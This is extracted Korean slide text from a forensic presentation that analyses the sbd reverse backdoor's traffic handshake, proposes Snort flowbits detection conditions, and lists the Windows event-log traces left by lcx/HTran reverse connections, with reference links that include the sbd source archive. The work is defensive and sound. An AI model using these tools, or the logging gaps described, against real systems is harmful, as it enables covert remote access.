  • 30. forensicinsight.org Page 30 Analyze sbd(Shadowinteger’s Backdoor) traffic  서버(Attacker)는 클라이언트에게서 전송된 40bytes의 Initial Vector를 수신해서 Session Key를 설정한다.  공격자가 소스코드를 수정하지 않는 이상 전송되는 40bytes를 탐지 조건으로 사용 가능 Dig into Source Code
  • 31. forensicinsight.org Page 31 Analyze sbd(Shadowinteger’s Backdoor) traffic  세션키 교홖 후 클라이언트와 서버는 Handshake 과정을 통해 연결을 맺는다. Dig into Source Code pel_client_init pel_server_init
  • 32. forensicinsight.org Page 32 Analyze sbd(Shadowinteger’s Backdoor) traffic  각각 52bytes씩 주고 받으며 16바이트 연산 후 나머지 데이터를 연산해서 전송 Dig into Source Code
  • 33. forensicinsight.org Page 33 Analyze sbd(Shadowinteger’s Backdoor) traffic  sbd는 기본적으로 암호화 통신을 제공하며 공격자 입장에서는 상당히 매력적인 기능이 기 때문에 굳이 암호화 기능을 해제하고 사용하지 않을 것이다. • 즉, 암호화되기 때문에 Payload로 탐지하는 것은 불가능  sbd의 가장 큰 특징은 • 3way Handshake 이후 클라이언트(Victim)에서 서버(Attacker)로 40byte의 데이터를 젂송 • 클라이언트에서 서버로 52byte 데이터 젂송 • 서버에서 클라이언트로 52byte 데이터 젂송 Writing Detect Pattern
  • 34. forensicinsight.org Page 34 Analyze sbd(Shadowinteger’s Backdoor) traffic  sbd Reverse Connection을 탐지하기 위한 조건 • 3가지 조건이 순차적으로 매칭될 경우에만 탐지하도록 패턴 작성  SNORT flowbits 옵션 사용 Writing Detect Pattern
  • 36. forensicinsight.org Page 36 Event Log  침해사고조사 관점에서 볼 경우 • lcx나 sbd 파일의 생성 시간과 웹로그 등을 확인해서 파일이 어떤 경로를 통해 업로드 또는 생성 되었는지는 확인이 가능하지만 언제 접속(Reverse Connection) 했었는지 파일만 가지고는 확인 이 불가능하다. • lcx의 경우 원격 터미널 접속을 하기 때문에 이벤트 로그에 흔적이 남는다. • sbd는 cmd.exe만 실행해서 Reverse Connection을 맺기 때문에 흔적이 남지 않는다. • UserAssist나 Prefetch(App Prefetch가 설정되어 있다면)와 같은 정보를 통해 실행된 횟수나 실행 된 시간을 짐작할 수도 있다.
  • 37. forensicinsight.org Page 37 Event Log  lcx를 통해 Reverse Connection을 맺을 경우 • 680 : Account Used for Logon by • 552 : 이미 다른 사용자가 로그온한 상태에서 명시적 자격 증명을 사용해서 로그온 시도 • 528 : 로그온 성공 • 576 : 권한 부여 • 682 : 세션 재연결 • Event ID 552나 682의 경우 기졲에 연결했던 사용자가 로그오프 하지 않고 세션만 끊은 상태에 서 접속할 경우 발생되는 이벤트 로그로 실제 발생하지 않을 수도 있다.
  • 38. forensicinsight.org Page 38 Event Log  Event ID 528은 로그온 성공 메시지로 로그온 유형과 원본 네트워크 주소를 확인할 수 있다. • 로그온 유형 10은 원격으로 대화형 모드로 로그온하는 것을 의미한다. (RemoteInteractive) • 원격에서 로그온하는데 원본네트워크주소가 로컬호스트(127.0.0.1)인 것은 이상하다.  원본네트워크주소가 127.0.0.1이라면 로그온 유형이 2이어야 한다.
  • 39. forensicinsight.org Page 39 Event Log  세션을 끊거나 재연결시 발생되는 이벤트 로그에는 클라이언트 이름과 클라이언트 주소 가 남는다.  공격자가 원격 터미널 접근시 mstsc 127.0.0.1:5555와 같은 형태가 아닌 공격자 자신의 실제 IP를 사용하더라도 이벤트 로그에는 클라이언트 주소가 127.0.0.1로 로깅된다.
  • 40. forensicinsight.org Page 40 Reference  Passive OS Fingerprinting • http://www.netresec.com/?page=Blog&month=2011-11&post=Passive-OS-Fingerprinting  HTran(HUC Packet Transmit Tool) • http://code.google.com/p/archive-code/source/browse/trunk/HTran/HTran.cpp?r=7  Window size 개념 • http://4network.tistory.com/entry/windowsize  Permanent Reverse Backdoor for IPhone / IPad • http://www.coresec.org/2012/04/24/permanent-reverse-backdoor-for-iphone-ipad/  sbd-1.36.tar.gz • http://packetstormsecurity.com/files/34401/sbd-1.36.tar.gz.html